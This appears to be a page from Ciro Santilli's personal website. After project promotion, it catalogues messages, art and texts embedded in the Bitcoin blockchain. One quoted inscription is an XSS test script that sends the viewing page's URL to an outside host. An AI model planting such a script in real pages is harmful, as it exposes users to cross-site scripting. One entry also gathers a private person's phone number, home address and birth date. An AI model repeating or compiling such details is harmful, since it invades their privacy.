Incoming links: Inscription (blockchain)
Check out: OurBigBook.com, the best way to publish your scientific knowledge. It's an open source note taking system that can publish from lightweight markup files in your computer both to a multi-user mind melding dynamic website, or as a static website. It's like Wikipedia + GitHub + Stack Overflow + Obsidian mashed up. Source code: github.com/ourbigbook/ourbigbook.
Sponsor me to work on this project. For 200k USD I will quit my job or not get a new job and work on OurBigBook full time for a second year to try and kickstart The Higher Education Revolution. Status: ~44k / 200k USD. At 2M USD I retire and work on open STEM forever. How to donate: Section "Sponsor Ciro Santilli's work on OurBigBook.com".
I first quit my job 1st June 2024 to work on the project for 1 year after I reached my initial 100k goal mostly via a 1000 Monero donation. For a second follow up year, I increased my requirement to 200k USD to give me more peace of mind. So the total donation so far is 144k, and if I reach a total of 300k USD, then I'll work on the project for a second year. A second year greatly improve chances of success: year one I improved my tech, year two I come guns blazing to solve courses and expand further.
Mission: to live in a world where you can learn university-level mathematics, physics, chemistry, biology and engineering from perfect free open source books that anyone can write to get famous. More rationale: Section "OurBigBook.com"
Explaining things is my superpower, e.g. I was top user #39 on Stack Overflow in 2023[ref][ref] and I have a few 1k+ star educational GitHub repositories[ref][ref][ref][ref]. Now I want to bring that level of awesomeness to masters level Mathematics and Physics. But I can't do it alone! So I created OurBigBook.com to allow everyone to work together towards the perfect book of everything.
My life's goal is to bring hardcore university-level STEM open educational content to all ages. Sponsor me at github.com/sponsors/cirosantilli starting from 1$/month so I can work full time on it. Further information: Section "Sponsor Ciro Santilli's work on OurBigBook.com". Achieving what I call "free gifted education" is my Nirvana.
This website is written in OurBigBook Markup, and it is published on both cirosantilli.com (static website) and outbigbook.om/cirosantilli (multi-user OurBigBook Web instance). Its source code is located at: github.com/cirosantilli/cirosantilli.github.io and also at
cirosantilli.com/_dir and it is licensed under CC BY-SA 4.0 unless otherwise noted.To contact Ciro, see: Section "How to contact Ciro Santilli". He likes to talk with random people of the Internet.
GitHub | Stack Overflow | LinkedIn | YouTube | Twitter | Wikipedia | Zhihu 知乎 | Weibo 微博 | Other accounts
Besides that, I'm also a freedom of speech slacktivist and recreational cyclist. I like Chinese traditional music and classic Brazilian pop. Opinions are my own, but they could be yours too. Tax the rich.
Let's create an educational system with:
- no distinction between university and high school, students just go as fast as they can to what they really want without stupid university entry exams
- fully open source learning material
- on-demand examinations that anyone can easily take without prerequisites
- granular entry selection only for space in specific laboratories or participation in specific novel research projects
I offer:
- online private tutoring for:
- any STEM university course
- passionate younger STEM students (any age) who want to learn university level material and beyond. Can your kid be the next Fields Medalist or Nobel Prize winner? I'm here to help, especially if you are filthy rich! I focus moving students forward as fast as they want on and on producing useful novel tutorials and results
Let your child be my Emile, and me be their Adolfo Amidei, and let's see how far they can go! I will help take your child:and achieve their ambitious STEM goals!- into the best universities
- into the best PhD programs
- educational consulting for institutions looking to improve their STEM courses
- do you know that course or teacher that consistently gets bad reviews every year? I'll work with the teacher to turn the problem around!
- are you looking to create a consistent open educational resources offering to increase your institutions internationally visibility? I can help with that too.
My approach is to:For minors, parents are welcome to join video calls, and all interactions with the student will be recorded and made available to parents.
- propose interesting research projects. The starting point is always deciding the end goal: Section "Backward design"
- learn what is needed to do the project together with the student(s)
- publish any novel results or tutorials/tools produced freely licensed online, and encourage the student to do the same (Section "Let students learn by teaching", digital garden)
I have a proven track of explaining complex concepts in an interesting and useful way. I work for the learner. Teaching statement at: Section "How to teach". Pricing to be discussed. Contact details at: Section "How to contact Ciro Santilli".
I am particularly excited about pointing people to the potential next big things, my top picks these days are:I am also generally interested in:
- quantum computing
- AGI research, in particular AI code generation, automated theorem proving and robotics
- assorted molecular biology technologies
- 20th century physics, notably AMO and condensed matter
- the history of science, and in particular trying to look at seminal papers of a field
Ciro Santilli's amazing Stack Overflow profile
. Ciro contributes almost exclusively by answering question he Googles into out of his own need, and never by refreshing the newest question of big tags for low hanging fruit! More information at: Section "Ciro Santilli's Stack Overflow contributions".
Ciro Santilli's Stack Overflow stats
. Further methodology details at: Figure "Ciro Santilli's Stack Overflow stats".Introduction to the OurBigBook Project
. Source. OurBigBook Web topics demo
. Source. The OurBigBook topic feature allows users to "merge their minds" in a "sort by upvote"-stack overflow-like manner for each subject. This is the killer feature of OurBigBook Web. More information at: docs.ourbigbook.com/ourbigbook-web-topics.OurBigBook dynamic article tree demo
. Source. The OurBigBook dynamic tree feature allows any of your headers to be the toplevel h1 header of a page, while still displaying its descendants. SEO loves this, and it also allows users to always get their content on the correct granularity. More information at: docs.ourbigbook.com/ourbigbook-web-dynamic-article-tree.OurBigBook local editing and publishing demo
. Source. With OurBigBook you can store your content as plaintext files in a Lightweight markup, and then publish that to either OurBigBook.com to get awesome multi-user features, or as a static website where you are in full control. More information at: docs.ourbigbook.com/publish-your-content.Top Down 2D continuous game with Urho3D C++ SDL and Box2D for Reinforcement learning by Ciro Santilli (2018)
Source. More information: Section "Ciro's 2D reinforcement learning games". This is Ciro's underwhelming stab at the fundamental question: Can AGI be trained in simulations?. This project could be taken much further.
My Bitcoin inscription museum by Ciro Santilli
. Source. Introductory video to Section "Cool data embedded in the Bitcoin blockchain". -------------------------------------
| Force of Will 3 U U |
| --------------------------------- |
| | //////////// | |
| | ////() ()\////\ | |
| | ///_\ (--) \///\ | |
| | ) //// \_____///\\ | |
| | ) \ / / / / | |
| | ) / \ | | / _/ | |
| | ) \ ( ( / / / / \ | |
| | / ) ( ) / ( )/( ) \ | |
| | \(_)/(_)/ /UUUU \ \\\/ | | |
| .---------------------------------. |
| Interrupt |
| ,---------------------------------, |
| | You may pay 1 life and remove a | |
| | blue card in your hand from the | |
| | game instead of paying Force of | |
| | Will's casting cost. Effects | |
| | that prevent or redirect damage | |
| | cannot be used to counter this | |
| | loss of life. | |
| | Counter target spell. | |
| `---------------------------------` |
| l
| Illus. Terese Nelsen |
-------------------------------------Code 1. .
Artist unknown, uploaded December 2014. Part of Section "Cool data embedded in the Bitcoin blockchain" where Ciro Santilli maintains a curated list of such interesting inscriptions.
This was a small project done by Ciro for artistic purposes that received some attention due to the incredible hype surrounding cryptocurrencies at the time. Ciro Santilli's views on cryptocurrencies are summarized at: Section "Are cryptocurrencies useful?".
YellowRobot.jpgJPG image fully embedded in the Bitcoin blockchain depicting some kind of cut material art depicting a yellow robot, inscribed on January 29, 2017.
Ciro Santilli found this image and others during his research for Section "Cool data embedded in the Bitcoin blockchain" by searching for image fingerprints on every transaction payload of the blockchain with a script.
The image was uploaded by EMBII, co-creator of the AtomSea & EMBII upload mechanism, which was responsible for a large part of the image inscriptions in the Bitcoin blockchain.
The associated message reads:This is one of Ciro Santilli's favorite AtomSea & EMBII uploads, as it perfectly encapsules the "medium as an art form" approach to blockchain art, where even non-novel works can be recontextualized into something interesting, here depicting an opposition between the ephemeral and the immutable.
Chiharu [EMBII's Japanese wife] and I found this little yellow robot while exploring Chicago. It will be covered by tar or eventually removed but this tribute will remain. N 41.880778 E -87.629210
At twitter.com/EMBII4U/status/1615389973343268871 EMBII announced that he would be giving off shares of that image on Sup!?, a Bitcoin-backed NFT system he was; making. In December 2023, he gave some shares of the robot to Ciro Santilli.
2010 Wayback Machine archive of starwarsweb.net
. This website was used as one of the CIA 2010 covert communication websites, a covert system the CIA used to communicate with its assets. More details at: Section "CIA 2010 covert communication websites".
Ciro Santilli had some naughty OSINT fun finding some of the websites of this defunct network in 2023 after he heard about the 2022 Reuters report on the matter, which for the first time gave away 7 concrete websites out of a claimed 885 total found. As of November 2023, Ciro had found about 350 of them.
2010 Wayback Machine archive of noticiasmusica.net
. This is another website that was used as one of the CIA 2010 covert communication websites. This website is written in Brazilian Portuguese, and therefore suggests that the CIA had assets in Brazil at the time, and thus was spying on a "fellow democracy".
Although Snowden's revelations made it extremely obvious to the world that the USA spies upon everyone outside of the Five Eyes, including fellow democracies, it is rare to have such a direct a concrete proof of it visible live right on the Wayback Machine. Other targeted democracies include France, Germany, Italy and Spain. More details at: USA spying on its own allies.
Diagram of the fundamental theorem on homomorphisms by Ciro Santilli (2020)
Shows the relationship between group homomorphisms and normal subgroups.
Used in the Stack Exchange answer to What is the intuition behind normal subgroups? One of Section "The best articles by Ciro Santilli".
Spacetime diagram illustrating how faster-than-light travel implies time travel by Ciro Santilli (2021)
Used in the Stack Exchange answer to Does faster than light travel imply travelling back in time?. One of Section "The best articles by Ciro Santilli".
Average insertion time into heaps, binary search tree and hash maps of the C++ standard library by Ciro Santilli (2015)
Source. Used in the Stack Overflow answer to Heap vs Binary Search Tree (BST). One of Section "The best articles by Ciro Santilli".
Top view of an open Oxford Nanopore MinION
. Source. This is Ciro Santilli's hand on the Wikipedia article: en.wikipedia.org/wiki/Oxford_Nanopore_Technologies. He put it there after working a bit on Section "How to use an Oxford Nanopore MinION to extract DNA from river water and determine which bacteria live in it" :-) And he would love to document more experiments like that one Section "Videos of all key physics experiments", but opportunities are extremely rare.A quick 2D continuous AI game prototype for reinforcement learning written in Matter.js, you can view it on a separate page at cirosantilli.com/_raw/js/matterjs/examples.html#top-down-asdw-fixed-viewport. This is a for-fun-only prototype for Ciro's 2D reinforcement learning games, C++ or maybe Python (for the deep learning ecosystem) seems inevitable for a serious version of such a project. But it is cute how much you can do with a few lines of Matter.js!
HTML snippet:
<iframe src="_raw/js/matterjs/examples.html#top-down-asdw-fixed-viewport" width="1000" height="850"></iframe> 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af Updated 2025-04-15 +Created 1970-01-01
Output 0 does:where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:This is almost spendable with:but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2cointelegraph.com/learn/bitcoin-halving-how-does-the-halving-cycle-work-and-why-does-it-matter Happens every 210,000 blocks, aiming approximately at 4 year intervals. The historical dates were:
Each of these events prompts some commemorative inscriptions: Section "Halving messages".
This is a collection of cool data found in the Bitcoin blockchain using techniques mentioned at: Section "How to extract data from the Bitcoin blockchain". Notably, Ciro Santilli developed his own set of scripts at github.com/cirosantilli/bitcoin-inscription-indexer to find some of this data. This article is based on data analyzed up to around block 831k (February 2024).
Drop some Bitcoins at 3KRk7f2JgekF6x7QBqPHdZ3pPDuMdY3eWR if you are loaded and like this article in order to support some much needed higher educational reform: Section "Sponsor Ciro Santilli's work on OurBigBook.com".
When this kind of non-financial data is embedded into a blockchain some people called an "inscription". The study or "early" inscriptions had been called a form of "archaeology"[ref][ref]. Since this is a collection of archeological artifacts, we call it a "museum"!
My Bitcoin inscription museum by Ciro Santilli
. Source. Introductory video to this article. Edited from Aratu Week 2024 Talk by Ciro Santilli: My Best Random Projects.One really cool thing about inscriptions is that because blockchains are huge Merkle trees, it is impossible to censor any one inscription without censoring the entire blockchain. It is also really cool to see people treating the Bitcoin blockchain basically like a global social media feed!
Starting on December 2022, ordinal ruleset inscriptions took the bitcoin blockchain by storm, and dwarfed in volume all other previous inscriptions. This museum focuses mostly on non-ordinals, though certain specific ordinal topics that especially interest he curators may be covered, e.g. Ordinal ruleset inscription porn and ordinal ASCII art inscription.
Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) is a mandatory precursor to this article and contains the most interesting examples of the time. But much happened since Ken's article which we try to cover. This analysis is also a bit more data oriented through our usage of scripting.
Artifacts can be organized in various ways:In this article we've done a mixture of:Who said it was easy to be a museum curator!
- chronologically
- by media type, e.g. images vs text
- by themes or events, e.g. the Prayer wars or Mt. Gox' shutdown
- encoding, e.g. AtomSea & EMBII vs raw images
- themes: if multiple items fall in a theme, we tend to put it there first
- then by media type if they don't fit any specific theme
- then by encoding
- and finally chronologically within each section
Bitcoin addresses are by convention expressed in Base58, which is a human readable binary-to-text encoding invented by Bitcoin.
It is a bit like Base64, but obsessed with eliminating characters that look like one another in popular but stupid fonts like capital "I" and lower case ell "l". As such, any embedded text is rather obfuscated due to this limitations, and people often resort to leet-like replacements such as '1' to represent 'I'.
This seems to be one of the earliest strategies used to encode messages into the Bitcoin blockchain. The first known example appears in 2011. Then starting November 2011, a large number of messages were inscribed n short successsion, presumably by a single person or small group.
The interest in Base58 encoding might have initially arisen with people's desire to have "vanity addresses", that is Bitcoin addresses that have real words in them, much like vanity plates or vanity numbers. Such addresses with long words in them are hard to find while keeping the address spendable, because they have to correspond to a private key. An extreme notable example is:which contains the awkward 13 letter word:in it. TODO: proof that it is pendable?
embarrassable
Perhaps inspired by this, some people also decided to use Base58 addresses as a way to create more general unspendable inscriptions, even even though the method is much more clumsy and complicated than P2FKHS. There is however a certain art to working under limitations.
Total burn addresses as a function of time found by Bitcoin Burn Addresses: Unveiling the Permanent Losses and Their Underlying Causes
. Although it is not solely focused on inscriptions and may also contain functional burn addresses, it is likely that the methods of Khatib/Legout capture the overall trend of base58 inscription counts.These messages were originally found with: github.com/cirosantilli/bitcoin-inscription-indexer#payload-size-out-utxo-2vals which tracks the largest transactions with unspent outputs.
Bitcoin Burn Addresses: Unveiling the Permanent Losses and Their Underlying Causes later revealed many new ones.
Bitcoin Burn Addresses: Unveiling the Permanent Losses and Their Underlying Causes later revealed many new ones.
Finding Base58 messages is intrinsically hard for a few reasons
- the words may be garbled by Base58 leet
- only very small ammounts of data can be encoded at a time, and all of it contains ASCII, so you can't just "find all long ASCII strings" as we started doing for other ASCII inscriptions a la
strings -n20; you have to use some dictionary as a basis - the Base58 does not show up raw on the blockchain, as it is just a human representation for the actual binary data that does, so you can't just strings the blockchain, you have to parse it
The interesting following transactions contain base58 encoded messages on addresses, sorted chronologically, and heighlighted either due to their earliness or historical or artistic quality:
- on two transactions of block 124726 (2011-05-18) someone created two addresses whose base58 differs only by one character,
Win one is replaced byxin he other:bitcointalk.org/index.php?topic=20955.msg264038#msg264038 How is this address possible? (2011-06-22) user ByteCoin suggests that this was done to highlight the fact that the checksum at the end of base58 addresses against 1 character changes. They also highlight another pair where addresses are equal except for two adjacent swapped characters:18->81but these are not present in the blockchain itself.1ByteCoinAddressesMatchcNN781jjwLY 1ByteCoinAddressesMatchcNN718jjwLY - Around July 2011 there seems to have been a surge of interest in vanity addresses, and it appears that someone was "squatting" long lists of interesting addresses that they managed to generate for later sale. These addresses are present in the hundreds in a few transactions chains, and they do not seem to contain any coherent messages across the outputs. Most encode given names, which would be the easiest type of address to sell. This theory is proposed e.g. at: bitcointalk.org/index.php?topic=84569.msg992950#msg992950 and it seems as the most plausible one to us. An example of this is tx acdd81bab63ee42e28296dd5c21e8a29392e409026fc206acf5931b12a31141d block 136273 (2011-07-14) which starts off with:For the purposes of this museum, this is a noteworty event, but it has little artistic value for large ammounts of bulk, and therefore also serves as noise that must be removed if we want to find other more personal and varied inscriptions. We will keep a list of such transactions at: Section "Bitcoin 2011 vanity address pool".
1MeNDez2hmZoehh5JAtS2ZJQfAFZFfSQSi 1ALonzoPwyf8CNVQnVNXNBjacPXaUdZGgm 1MattieiicNRfse5jTVU2X8pX6Cyr7BZVR 1TraciFRboW661p1LfRaULwwefeo8KtQa 1MartinHaferkorncii112o11HdkMrtttDon tx dab55eefd5cef495719a43bbd190c57c8ca60ecc45d630edf3442b2096965a97 block 152851 (2011-11-11) encodes the name:Likely:Martin Haferkorn
1EricLombrozoXXXXXXXXXXXXXXXWACBVBappears on 3 separate transactions on 2011-11-24:Alsmost certainly this guy:www.officialusa.com/names/Sandra-Sandic/ suggests a link between Eric and Sandra sharing phone number (858) 461-1843 and residing at 12631 El Camino Real, San Diego, CA. Eric's LinkedIn marks him as living in San Diego, and Sandra's birthday is marked 1969-01-05, so matching the inscription year. The address shows as a regular appartment block on Google Maps, so maybe they are not crazy rich, or they have restraint. besthistorysites.net/name/eric-lombrozo reconfirms the address.- block 154630:
- block 154637: tx dea183908e40e0cebfee6a0d8362b299e07cf193fbc02ffd3308b43781eca208. This one is more interesting and also contains a second output, both at 0.005 BTCso possibly a wedding token of Eric with Sandra Sandic after two previous test transactions. This also possibly gives Sandra's birth year of 1969. Pinged him at: x.com/cirosantilli/status/1904212575211901129.
1969SandraSandicXXXXXXXXXXXXXvdEiU
In 2023 this Sandra Sandic on Facebook liked this post related to a show in San Diego, giving a possible profile. At this post she links to this story about Erik Finman, young Bitcoin millionaire, thus establishing an interest link between that profile and Bitcoin. She also has various posts in Bosnian, so she speaks the language and is likely a first generation immigrant.1BitTaLkTVChristmasSpeciaLXXRix9Eais repeated a dozen times on transactions between tx 8e2bacf9971ce1a29d69d1a0484bfaa198257cc116530c7415ab6c38ae54ebc3 block 154721 (2011-11-25) and 2011-11-27.It is a quick ad for the BitTalk.tv Christmas Special by Matthew N. Wright. bitcointalk.org/index.php?topic=3025298.0 mentions he is the founder bittalk.tv and co-founder of Bitcoin Magazine. TODO is the video still watchable somewhere? Also announced at: bitcointalk.org/index.php?topic=52712. As of 2025, the domain had been reappropriated as a SolarMovie mirror. It is quite likely that all the large set of message that follow were inscribed by him. Related:- www.reddit.com/r/Bitcoin/comments/ruo73/matthew_n_wright_scammer_of_bitcoinmagazine_and/ Matthew N. Wright, scammer of BitcoinMagazine and BBBB (2012)
- www.reddit.com/r/Bitcoin/comments/znhsj/matthew_n_wright_apologizes/ Matthew N. Wright "apologizes" (2012)
Later on there is also another variant addresses11Bitta1ktvchristmasspecia1WNDvAaon repeated almost 300 times on tx ace9524519577138ca98ec01651758fd1e5ec33ce0110c6681eccba0e716cc7a block 155545 (2011-12-01)Other likely mentions of Matthew N Wright:11MatthewLovesmandaXXXXXXXXabCJPYon tx d7c57205d69420dc7f4593b4de0806c9ec96f4755b64315cd034bd4b0b90dc2a block 155698 (2011-12-01) has a quick love declaration:Matthew loves Amanda
1MatthewNWrightisaScammer124DNsfXis etched twice
- tx 28ccf29cfcc9f82d42793db770e7c7894d61ccf3d18299f34bda2e54415da287 block 154769 (2011-11-25) contains a short excerpt from Alice in WonderlandOriginal text referred to:
1But1DontWantToGoAmongMadxxxzDmyW6 1Peop1eA1iceRemarkedxxxxxxxxxuLyKu 12ohYouCantHe1pThatxxxxxxxxxzCjyMs 19SaidTheCatWereA11MadHerexxyTvEir 191mMadYoureMadxxxxxxxxxxxxxvwA4Up 1HowDoYouKnow1mMadSaidA1icexxZA4Nr 12YouMustBeSaidTheCatxxxxxxxz2tFa2 12orYouWou1dntHaveComeHerexxvtHbqqBut I don't want to go among mad people," Alice remarked. "Oh, you can't help that," said the Cat: "we're all mad here. I'm mad. You're mad." "How do you know I'm mad?" said Alice. "You must be," said the Cat, "or you wouldn’t have come here."
- tx 3bbd94d22346a3bfb44257293e10c3b5c9ee39230c1cd358bdce2bf03c61ba0b (block 154965 , 2011-11-27) contains 49 base58 messages on a single transaction transcribing this version of the Emerald Tablet, a type of mystical medieval text:Some of the messages weirdly have "xoxo" inserted into them, not sure why, e.g.
12TisTrueWithoutALie22222221wT3qjn 1CertainAndMostTrue2222222225YPnJF 12ThatWhich1sBe1ow1sAs222221y3G7mv 12ThatWhich1sAboveAnd2222221vxkcEq ... 1AboutTheWorkingsofTheSun1zzyWJtfmThe full decoded text is:12TheFatherofTheWho1eWor1d2249xs5g 191sHereXoXoXoXoXoXoXoXoXoXo72uqJv 191tsPower1sWho1e1f1tHasXoXoWhYr3M 1BeenTurned1ntoEarth222222221soWALIt is true, without error, certain and most true,
That which is below is as that which is above, and that which is above is as that which is below, to perform the miracles of the one thing.
And as all things were from the one, by means of the meditation of the one, thus all things were born from the one, by means of adaptation.
Its father is the Sun, its mother is the Moon, the Wind carried it in its belly, its nurse is the earth.
The father of the whole world is here.
Its power is whole if it has been turned into earth.
You will separate the earth from the fire, the subtle from the dense, sweetly, with great skill.
It ascends from earth into heaven and again it descends to the earth, and receives the power of higher and of lower things.
Thus you will have the Glory of the whole world.
Therefore will all obscurity flee from you.
Of all strength this is true strength, because it will conquer all that is subtle, and penetrate all that is solid.
Thus was the world created.
From this were wonderful adaptations, of which this is the means. Therefore am I named Thrice-Great Hermes, having the three parts of the philosophy of the whole world.
It is finished, what I have said about the working of the Sun. 11111111LeonhardEu1er111126nxjPon tx 80ddf2e7e04922e2cbf6e744dbf47aec02d781505d8b2c4ee5f725b8882ddb2d block 155051 (2011-11-28) is a tribute to Swiss mathematician Leonhard Euler
Figure 3. Swiss mathematician Leonard Euler. Source. Off-chain image.- 024b093afb54f69426c5624f09a5f2d3791ce20513225cbb42d333ad72f8576e block 155256 (2011-11-29) has two self-explanatory outputs:
Just A Two Line
Test112JustATwoLine222222222221vcJxpZ 11111Test111112222222222222LiApa - tx 8f64d2b7a762767e3870c4aee95f8c7b5439cf02cf7d7e5d99b6e39967ecada8 block 155256 (2011-11-29) encodes the poem "Shall I compare thee to a summer's day?" by Shakespeare 22 addresses starting with:Full original text:
11Sha111CompareTheeToAXXXXXVnRohE 11SummersDayThouArtMoreXXXXUcpgnX 11Love1yAndMoreTemperateXXXUu485j ...More Shakespeare follows at tx 0ae2eaaa9cddafba89b4c92d074f4e5254cbf7691cbe7f64660bf549c7071147 block 155383 (2011-11-20) has a passage from Romeo and Juliet starting with:Shall I compare thee to a summer's day?
Thou art more lovely and more temperate.
Rough winds do shake the darling buds of May,
And summer's lease hath all too short a date.
Sometime too hot the eye of heaven shines,
And often is his gold complexion dimmed;
And every fair from fair sometime declines,
By chance, or nature's changing course, untrimmed;
But thy eternal summer shall not fade,
Nor lose possession of that fair thou ow'st,
Nor shall death brag thou wand'rest in his shade,
When in eternal lines to Time thou grow'st.
So long as men can breathe, or eyes can see,
So long lives this, and this gives life to thee.Full original text:11TisButThyNameThat1sMyXXXXWabTZh 11EnemyThouArtThyse1fThoughXNRG4J 11NotAMontagueWhatsMontagueYEJDfM 111t1sNorHandNorFootNorArmXVNeFEV'Tis but thy name that is my enemy;
Thou art thyself, though not a Montague.
What's Montague? It is nor hand, nor foot,
Nor arm, nor face, nor any other part
Belonging to a man. O, be some other name!
What's in a name? That which we call a rose,
By any other word would smell as sweet.
So Romeo would - were he not Romeo called -
Retain that dear perfection which he owes
Without that title. Romeo, doff thy name,
And for that name, which is no part of thee,
Take all myself. - Various other notable texts follow on 2011-12-01:
- tx 1f9606f267cc398356663b14d1a7a3591e3da06572893394c14975a6fc11798f block 155467 (2011-12-01) contains an excerpt from Newton's Principia starting with:Full original text[ref]:
11Ru1e1WeAreToAdmitNoMoreXXazQ96z 11CausesofNatura1ThingsThanZAQ9ig 11SuchAsAreBothTrueAndXXXXXZyzfQp 11SufficientToExp1ainTheirXVSC2gYRULE 1 We are to admit no more causes of natural things, than such as are both true and sufficient to explain their appearances.RULE II Therefore to the same natural effects we must, as far as possible, assign the same causes.RULE III The qualities of bodies, which admit neither intension nor remission of degrees, and which are found to belong to all bodies within reach of our experiments, are to be esteemed the universal qualities of all bodies whatsoever.RULE IV In experimental philosophy we are to look upon propositions collected by general induction from phenomena as accurately or very nearly true, notwithstanding any contrary hypotheses that may be imagined, till such time as other phenomena occur, by which they may either be made more accurate, or liable to exceptions. - tx 89010c791c9d7ed24affa1d638b12179d2ca7ec91704fe906834386f43a8101d starting at
11When1nTheCourseofHumanXXXXdfMdQ: Declaration of Independence - tx f7ca83a8a2e1c78efdfde0791d99a567ddaa60805c3b5b857bc7ec14ec2c8204 starting at
11AVa1id1dentifier1sAXXXXXXcrnyki: likely contains an excerpt of the C or C++ standard. Possible source: en.wikipedia.org/wiki/C_data_types. - tx 028b8514a4f6cc96ac3c1c83dbb117ab9dc5eb09deab7b49bf038fd460173127 starting at
11TheSetupTheJokeA1waysXXXXTF9Wzp: The aristocrats by HP Lovecraft, which talks about the The Aristocrats joke pattern - tx bd513d9ee605ead1a299c9dfb77de1127bf651c54d99820e9be8b40cef8c8dfe starting at
11Si1ex1sAnAcronymForXXXXXXcujTa5talks briefly about SILEX (separation of isotopes by laser excitation) - tx ef374dcc5b23f16ecb0b1b639ba577d2acda7ad32321b5866db2fa9e6807b9c5 block 155494 (2011-12-01) contains the intruction from the bitcoin.org website: web.archive.org/web/20210129054851/https://bitcoin.org/en/
11Bitcoin1sADecentra1izedXXWPM6Hs 11PeertopeerNetworkoverXXXXUkyy3M 11WhichUsersMakeXXXXXXXXXXXX4tQgN 11TransactionsThatAreXXXXXXVdZfnJ - tx 05ee60dfb92795c79e46e106f52bbdbc1006eba0837ed9e4ad99d9b214eb5fcf block 155538 contains a tribute to Archimedes:original text at: mathshistory.st-andrews.ac.uk/Biographies/Archimedes/
11ArchimedesWasANativeofXXXXJsj6W 11SyracuseSici1y1t1sXXXXXXXaYF4CE 11ReportedBySomeAuthorsThatXjFBcV 11HeVisitedEgyptAndThereXXXYVzj58Archimedes was a native of Syracuse, Sicily. It is reported by some authors that he visited Egypt and there invented a device now known as Archimedes' screw. This is a pump, still used in many parts of the world. It is highly likely that, when he was a young man, Archimedes studied with the successors of Euclid in Alexandria. Certainly he was completely familiar with the mathematics developed there, but what makes this conjecture much more certain, he knew personally the mathematicians working there and he sent his results to Alexandria with personal messages. He regarded Conon of Samos, one of the mathematicians at Alexandria, both very highly for his abilities as a mathematician and he also regarded him as a close friend.
- tx 237b50dac42af130171773b233954e62690182fd4901a453ad5d11d1d54a8ca3 block 155545 (2012-01-01) contains an exceprt from en.wikipedia.org/wiki/The_Glass_Menagerie
11TomAppearsAtTheTopofTheXXWyM2Bt 11A11eyAfterEachSo1emnBoomXaBp7oy 11ofTheBe111nTheTowerHeXXXXVQaies 11ShakesALitt1eNoisemakeroraeWTgK ... - tx 57bfd63000bbfa6e9a61f7285a4abf9aef91dfcfba4fe0f940b431653eb8068b block 155494 (2011-12-01) is a Lorem ipsum and tx 7961b5ae2f053a16d5c589104f87edfabe80fcae185832ea185e7f0cf06c7747 (2011-12-05) is another one:
11Lorem1psumDo1orSitAmetXXXWAEZ6C 11ConsecteturAdipiscingE1itYQHEPM ...
- tx 1f9606f267cc398356663b14d1a7a3591e3da06572893394c14975a6fc11798f block 155467 (2011-12-01) contains an excerpt from Newton's Principia starting with:
- tx 8ffacbb18f63576fe323cbf2acc6c4c01c86aadf13d8352cfdd39d91916d98c8 block 156164 (2011-12-05) advertises etchablock.com by repeating the following 3 messages 80 times:decoding to:
11EtchABLockDotComGivesYouXZHcYVz 11BLockChain1mmortaLityXXXXYRZD5m 11VisitEtchABLockDotComNowXTbeZZ9More ads can be seen at:etchablock.com gives you blockchain immortaility. Visit etchablock.com now.
- tx 12a8866ea85a8a6838d77cc67ce74ef190a074bc822572f4a82daad00fd980d6 block 156119 (2011-12-05) seems like an alphabet test:
111111111a11111111111b11dC8yHQ 111111111c1111111111111dWctEU9 111111111111e1111111111W7v25m 111111f1111111111111111g11WfG2p8 1111111111111h111111111WdQPXP 11111i111111111111j1111111bL5SyF 11111111k111111111111111XV7PT9D 111L1111111111111111111m111YmYGPJ 1111111111111111n11111U4Rs6D 1111111111111o111111111cLV3wA 11111111p11111111111111qW1RK1A 1111111111111111r1111VRWJZs 111111111111s1111111111VUeyXS 11111111111t11111111111Vq1Wm3 11111111u111111111111111bVpCYE 111111111v11111111111111XoV17A 11111111w1111111111111111YyEFv6 111111111x11111111111111XvZPGp 11111111111y11111111111Y1hDo5 111111111111111zXXXXXXVSn6d5 - tx 31331de21d321766fcac556d7233ad0e3918bc78c7af22b99373569c07d4f30c block 158772 (2011-12-23) has a quick love declaration by a Chinese dude to his Chinese dudesspresumably the man's name is "Ye Chunnan", possible profile: github.com/finway-china
11YechunnanLoveChenchenYeziSsezJQ 11ForeverXXXXXXXXXXXXXXXXXXWcSE4Z - tx bf40e4a1c2546747bc800a085e7145d921a9f402aaf4040c155ff5d0df9cc999 block 161202 (2012-01-08) encodes:
11When1DieBuryMeDeepLayTwoXVEY5jv 11SpeakersAtMyFeetAPairofXXTyrHor 11HeadphonesonMyHeadAndXXXXYUSvnd 11ALwaysPLayTheGratefuLDeadWdq4XoRelated quote mention: www.reddit.com/r/quotes/comments/w51yfg/comment/iwnxk9i/When I die, bury me deep, lay two speakers at my feet, a pair of headphones on my head. Always play the grateful dead.
- tx 3a027fadac6ac2d9cf54480667465ba6ad88b7b3c1de62e1cb34cd06a44243ac block 161267 (2012-01-08) has a birthday wish:
11HappyBirthdayStephenXXXXXZL6eQZ 11HawkingXXXXXXXXXXXXXXXXXXRu9FPeHappy birthday Stephen Hawking
- 1BrianDeeryWasHereCaryNCUSAy1hRCCC on tx c584dd7d3e9ba9776d61ae91f801371e21e434b9d8dab3c81850301433a50fcb block 188657 (2012-06-12) is a check-in by a Brian Deery at Cary, NC, USA. Most likely:
- tx 143a3d7e7599557f9d63e7f224f34d33e9251b2c23c38f95631b3a54de53f024 block 306,204 (2014-06-16) has a Star Wars opening crawl:
